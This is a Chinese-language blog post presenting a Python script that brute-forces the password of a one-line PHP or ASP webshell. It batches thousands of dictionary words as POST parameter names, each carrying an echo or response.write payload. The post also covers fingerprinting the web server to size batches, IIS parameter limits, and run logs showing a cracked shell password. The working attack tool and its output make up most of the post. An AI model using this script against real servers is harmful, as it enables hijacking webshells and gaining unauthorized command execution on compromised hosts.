往往简单的一句话Webshell,在页面中并不显示什么,这里就需要来猜POST的参数值,即密码;

原理和菜刀一样,就是让待爆破的密码做POST参数去执行命令「echo $mima」提取返回内容,只是依据不同服务器不同编程语言有数量区别;

脚本是在江sir师傅的基础上改的,添加了自动识别web服务器(apache,iis)和脚本语言(php,asp),以此来动态选择一次性POST参数的个数;

如果爆破时碰到正确密码,这时即把自己输出,利用requests把返回文本拿出来,即这个shell的密码;

Python 脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2017年1月4日19:11:49
# @Author  : 江sir、老锥
# @Link    : http://www.blogsir.com.cn、https://www.bodkin.ren
# @Version : v1.1

'''
use : python blast.py -u http://192.168.1.103/1.php -d pass.txt
'''

import os
import requests
import argparse
import time

parser = argparse.ArgumentParser()
parser.add_argument('-u')
parser.add_argument('-d')
arg = parser.parse_args()
#print arg

url = arg.u
dic = arg.d

def get_dict(file):
    r = requests.get (url)
    head = r.headers
    # print head
    server = head['Server'].lower()
    print u'web server:' + server
    if 'apache' in server:
        x = 1000
    elif 'iis' in server:
        # x = 5883 #php
        x = 4356 #asp
    else :
        print 'This is nginx web server.'
        x = 1000
    with open(file,'r') as f:
        content = f.readlines()
        dics = len(content) / x
        print u"文件大小:" + str(len(content))
        print u"分成组数:" + str(dics + 1)
        group = []
        for i in content:   # 这样分组实在太帅了,直接使用迭代器 
            group.append(i)
            if len(group) == x:
                yield group
                group = []
        yield group

def blast_php(text):
    n = 0
    for data in text:   
        n += 1
        print u"正在进行 %d 次爆破,长度为 %d" % (n,len(data))
        post_data={}
        for i in data:
            i = i.strip('\n')
            post_data[i] = "echo 'password is %s';" % (i)
        # print post_data
        http = requests.post(url,post_data)
        if http.content:
            print http.content
            break

def blast_asp(text):
    n = 0
    for data in text:   
        n += 1
        print u"正在进行 %d 次爆破,长度为 %d" % (n,len(data))
        post_data={}
        for i in data:
            i = i.strip('\n')
            post_data[i] = """response.write("password is %s")""" % (i) #结尾没;号且字符串使用"双引号
        # print post_data #dic
        http = requests.post(url,post_data)
        if http.content:
            print http.content
            break

if __name__ == '__main__':
    time1 = time.time()
    postfix = url[-4:].lower() #取url后缀判断脚本
    print u'脚本:' + postfix
    text = get_dict(dic)
    if 'php' in postfix : 
        blast_php(text)
        print 'ok php'
    elif 'asp' in postfix :
        blast_asp(text)
        print 'ok asp'
    else :
        print 'This is jsp web.'
    time2 = time.time()
    print str(time2 - time1) + ' s'

这里接地气表哥说的在iis下默认同时允许接收最多5883个参数,但我操作了一下发现:

php允许最多不止5883个参数,设置好几万仍没有报错,但时间花销随之比较大;

asp允许最多4356个参数,超过了直接报错;

而且经过操作,发现并不是一次性POST越多的参数,爆破出密码的时间花销就越少;

一次性POST过去50000个参数:

脚本:.php
web server:microsoft-iis/6.0
文件大小:391249
分成组数:8
正在进行 1 次爆破,长度为 50000
正在进行 2 次爆破,长度为 50000
正在进行 3 次爆破,长度为 50000
password is fuckfuck
ok php
1.85699987411 s

一次性4356个参数:

脚本:.php
web server:microsoft-iis/6.0
文件大小:391249
分成组数:90
正在进行 1 次爆破,长度为 4356
正在进行 2 次爆破,长度为 4356
正在进行 3 次爆破,长度为 4356
正在进行 4 次爆破,长度为 4356
正在进行 5 次爆破,长度为 4356
正在进行 6 次爆破,长度为 4356
正在进行 7 次爆破,长度为 4356
正在进行 8 次爆破,长度为 4356
正在进行 9 次爆破,长度为 4356
正在进行 10 次爆破,长度为 4356
正在进行 11 次爆破,长度为 4356
正在进行 12 次爆破,长度为 4356
正在进行 13 次爆破,长度为 4356
正在进行 14 次爆破,长度为 4356
正在进行 15 次爆破,长度为 4356
正在进行 16 次爆破,长度为 4356
正在进行 17 次爆破,长度为 4356
正在进行 18 次爆破,长度为 4356
正在进行 19 次爆破,长度为 4356
正在进行 20 次爆破,长度为 4356
正在进行 21 次爆破,长度为 4356
正在进行 22 次爆破,长度为 4356
正在进行 23 次爆破,长度为 4356
正在进行 24 次爆破,长度为 4356
正在进行 25 次爆破,长度为 4356
正在进行 26 次爆破,长度为 4356
正在进行 27 次爆破,长度为 4356
正在进行 28 次爆破,长度为 4356
正在进行 29 次爆破,长度为 4356
正在进行 30 次爆破,长度为 4356
正在进行 31 次爆破,长度为 4356
正在进行 32 次爆破,长度为 4356
正在进行 33 次爆破,长度为 4356
password is fuckfuck
ok php
1.78200006485 s

结果很明显;

参考博文:

https://www.t00ls.net/viewthread.php?tid=36985&extra=&page=1

http://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=16952&highlight=%E7%88%86%E7%A0%B4

http://www.blogsir.com.cn/safe/269.html